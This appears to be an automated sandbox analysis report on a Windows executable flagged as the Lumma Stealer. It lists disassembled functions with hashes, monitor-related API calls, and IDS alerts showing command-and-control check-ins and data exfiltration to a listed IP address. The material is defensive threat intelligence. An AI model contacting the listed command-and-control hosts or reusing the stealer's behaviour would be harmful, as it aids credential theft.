Opcode Fuzzy Hash: b3fc856c859597f88ffbb2b0f5c73289fc52caa4a7917e8351ad8ab88ee4d6f2
Instruction Fuzzy Hash: 5721D83462C3884EC315AB3084D27BFF7959F467A4F10062CF65A972D2CB249956CF9A

Function 0032C980 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 000b8f1e108a211abfa026a24bd4c6660fa85f2f17ae99453aaf51eb84d4ab3d
Instruction ID: ca1cb7299068d6caf175bb2746143cbca9c2146dbc4d4b18eb34ca01bfe9a2e6
Opcode Fuzzy Hash: 000b8f1e108a211abfa026a24bd4c6660fa85f2f17ae99453aaf51eb84d4ab3d
Instruction Fuzzy Hash: 36210472A0D211CFD3598F74A9A122BB7A6EFC6300F08C87DC9C213695C7345806CB42

Function 002F1F20 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c32281de10becc55c6815b2dee39f414437dcf6089e8a663b49f2718d699f9
Instruction ID: 9afe127afa8987370806e4278314578e4f3513754dc7034cbc352a18b25f379f
Opcode Fuzzy Hash: f4c32281de10becc55c6815b2dee39f414437dcf6089e8a663b49f2718d699f9
Instruction Fuzzy Hash: 1B318471628306DBD7149E18C880A36F7E1EF84398F988A3DE9998B651D735DC72CB42

Function 002F93F0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e884435b1452d241dea2acca2df3a2d5a523c25c47b271448004b6e7b0ef8846
Instruction ID: 54586ca429cbfdd66feded3c74b4af713c115babee7ad2e44ee76fb8ad46daff
Opcode Fuzzy Hash: e884435b1452d241dea2acca2df3a2d5a523c25c47b271448004b6e7b0ef8846
Instruction Fuzzy Hash: D1212C77B616158BE310CD99DC803667397ABD8368F3DC1B886288B3D6D97B5C538680

Function 00319079 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c65e7acde2a1337dc62e59775ef7e998486cbf78ac15b57593e6ca013a64a68d
Instruction ID: c94d56565a39e6639447806be83cb4e572e4858a13730fb346b3c318dfaf0197
Opcode Fuzzy Hash: c65e7acde2a1337dc62e59775ef7e998486cbf78ac15b57593e6ca013a64a68d
Instruction Fuzzy Hash: 54012B3391971497D31ADA249C953FAB3A2B7C9310F5A493DC0D203641DA34F949CB81

Function 00324050 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a30e7f9f48f4df56d16286f1488bd51e9f6490d9a8b73d042def732e716c5d34
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8311E533A051F44EC3178D3CA800A65FFA31AA3634B59C399F5B89B2D2D6238DCE8755

Function 0031A580 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb8b84d16c732b7714f5ec59847be3a80c44cb9b81efa37408894ed4f5f331a
Instruction ID: a9456529c7cffa4b8362c5349be2d38e2ea18a695b773293e0bee1b495ad0e0a
Opcode Fuzzy Hash: 0bb8b84d16c732b7714f5ec59847be3a80c44cb9b81efa37408894ed4f5f331a
Instruction Fuzzy Hash: 9E0124F2606B0543DB269E5094C0777F3AA7F8A395F09083CE9844B302EB36EC94C692

Function 002F2C70 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a16f82ad5c4b767f9506c0a728d3555b8c93783b3554cf53615c2da90614b1d
Instruction ID: a089399a5c0c41b8db2b7bc6542af25b516b1727305cb6f1431bd299c3f4e832
Opcode Fuzzy Hash: 2a16f82ad5c4b767f9506c0a728d3555b8c93783b3554cf53615c2da90614b1d
Instruction Fuzzy Hash: C001F4BA72430E4B6710DDBAACC463AF796B7CA354B1E413DDB80D3341E460E80A9190

Function 002FA85B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53751d9d20c6ee864a4fa2e127b032953ab5a4430ddb7ae578cf416405da68f
Instruction ID: b9de0da916824ade282f0a6ebd7b937cb45151a41aa02cdaae5916270e83fcf9
Opcode Fuzzy Hash: a53751d9d20c6ee864a4fa2e127b032953ab5a4430ddb7ae578cf416405da68f
Instruction Fuzzy Hash: CAE0C275FC110837F22B2900DC53F67651A8B97724F289110BA00A77C5DE9DA111025D

Function 0032B200 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d602414f984d2ae28b9319bcbe80712cc5d4f77f4a3ede673ddd5e6747e9e9
Instruction ID: 7ae678d25e99195083e4579190a04111832560e2c0a6ee427f16cd9fd177c841
Opcode Fuzzy Hash: c7d602414f984d2ae28b9319bcbe80712cc5d4f77f4a3ede673ddd5e6747e9e9
Instruction Fuzzy Hash: 0AD022A06000083F0044CB0DCCC7E33B77DCB47304F00A028A846E3310C510DC0182BA

Function 0039F278 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,?), ref: 0039F2A9
GetSystemMetrics.USER32(00000000), ref: 0039F2E5
GetSystemMetrics.USER32(00000001), ref: 0039F2F0

Strings

DISPLAY, xrefs: 0039F311
GetMonitorInfo, xrefs: 0039F290

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem$InfoMonitor
String ID: DISPLAY$GetMonitorInfo
API String ID: 4250584380-1633989206
Opcode ID: 912f7c138de6da7484c1f488b837885e6e3d197af259d0dee6eecdb818aef987
Instruction ID: 2acf82f93da1fa5f618e5e15cb22d12ca492229c03cfed333f0853afdb08563d
Opcode Fuzzy Hash: 912f7c138de6da7484c1f488b837885e6e3d197af259d0dee6eecdb818aef987
Instruction Fuzzy Hash: E111E635610701AFDF22DF619C84BABB7E8EB05715F50493EED49DB241D3B4E9048BA4

Function 0039F4F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 0039F52D
GetSystemMetrics.USER32(00000000), ref: 0039F552
GetSystemMetrics.USER32(00000001), ref: 0039F55D

Strings

EnumDisplayMonitors, xrefs: 0039F50C

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem$DisplayEnumMonitors
String ID: EnumDisplayMonitors
API String ID: 1389147845-2491903729
Opcode ID: 644a31e16b8c4eab89e80101f6c0d7db51f308179ef43546d4b59d5fb8415297
Instruction ID: e79f8052e9b914f4f8fdb548ad6be1b53aed90464051a3327df5f7f3996d5a90
Opcode Fuzzy Hash: 644a31e16b8c4eab89e80101f6c0d7db51f308179ef43546d4b59d5fb8415297
Instruction Fuzzy Hash: 76313E72A00209BFDF12DFA8D844AEFB7BCAB0A310F124576F911E7141E734DA058BA5

Function 0039F34C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0039F3B9
GetSystemMetrics.USER32(00000001), ref: 0039F3C4

Strings

GetMonitorInfoA, xrefs: 0039F364
DISPLAY, xrefs: 0039F3E5

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoA
API String ID: 4116985748-1370492664
Opcode ID: 1b2d560e8daa239942154fff6ed1004d73a47ba21bb4c3e550f7d8e4b4299974
Instruction ID: 58729b3107e52475bafd7033e487f5d2e3f447043808c5f65c7825f0c8d54db1
Opcode Fuzzy Hash: 1b2d560e8daa239942154fff6ed1004d73a47ba21bb4c3e550f7d8e4b4299974
Instruction Fuzzy Hash: 16112635601301AFEB21CF259C847ABB7E9FB05711F10093DED45DB640E774A944CBA4

Function 0039F420 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0039F48D
GetSystemMetrics.USER32(00000001), ref: 0039F498

Strings

DISPLAY, xrefs: 0039F4B9
GetMonitorInfoW, xrefs: 0039F438

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoW
API String ID: 4116985748-2774842281
Opcode ID: b564550ed1ed8e6b1ec4014c69460fcccb8e368afae8e963ffcac28c994a4f9a
Instruction ID: 25adaeaf8c8aa9a7d60daceaf199ab0d9245f8ef96175e4b959d6a3f0abff8ea
Opcode Fuzzy Hash: b564550ed1ed8e6b1ec4014c69460fcccb8e368afae8e963ffcac28c994a4f9a
Instruction Fuzzy Hash: C411D071601704AFDB21CF629C447ABBBE8EF06B11F01493EED49DB280D7B0A9448BA4

Function 0039F1E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0039F22E
GetSystemMetrics.USER32(00000001), ref: 0039F240

Strings

MonitorFromPoint, xrefs: 0039F1F2

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromPoint
API String ID: 4116985748-1072306578
Opcode ID: 3b894ab2a9819305601472095dfb64a1e0931bef884405fb90ba30a8020ca7b7
Instruction ID: 499f7f2538f5bc3cbd479b7e4026559c9e801a1ef1f689b4564b2637cf0a8e02
Opcode Fuzzy Hash: 3b894ab2a9819305601472095dfb64a1e0931bef884405fb90ba30a8020ca7b7
Instruction Fuzzy Hash: CC01A23D200205BFDF029F50EC48BAEBB54EB85B65F108839F948DB251C3719D418B64

Function 0039F0B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0039F109
GetSystemMetrics.USER32(00000001), ref: 0039F115

Strings

MonitorFromRect, xrefs: 0039F0CD

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromRect
API String ID: 4116985748-4033241945
Opcode ID: b2a6a9e4122a5a7b2f8101919dcd4a392e004608d271664dc9ee8321b8f14c74
Instruction ID: 270d60e0a646400ce02cd386d7198ad5a1c146de1aaacf44a9bffb4bfa176d61
Opcode Fuzzy Hash: b2a6a9e4122a5a7b2f8101919dcd4a392e004608d271664dc9ee8321b8f14c74
Instruction Fuzzy Hash: 3D016D32604114EFEF12CF94E989B9AB7A8E745766F558479E904DB242C374DC408BE4

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49737 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.165.166:443

Source: Joe Sandbox View	IP Address: 147.45.47.81 147.45.47.81
Source: Joe Sandbox View	IP Address: 172.67.165.166 172.67.165.166

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.165.166:443

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov edx, dword ptr [esi+3Ch]	0_2_0031C375
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0031D36D
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [esi+ebp*8], 67F3D776h	0_2_00329850
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ecx, eax	0_2_00305CD6
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00305CD6
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+02h]	0_2_00313027
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then inc ecx	0_2_00327010
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edi, byte ptr [esi+edx+751140D4h]	0_2_002FB9F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00324050
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0030C0FE
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-74FC1134h]	0_2_0030C8A0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2FBDD550h]	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then jmp dword ptr [00335170h]	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_00318FDD
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00318FDD
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	0_2_00318FDD
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	0_2_00319079
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_00319136
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00319136
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	0_2_00319136
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	0_2_00305220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then push esi	0_2_00305220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then push eax	0_2_0030D38F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov edx, dword ptr [esi+3Ch]	0_2_0031D6F4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], F62C6D34h	0_2_00329A80
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	0_2_00329BA0
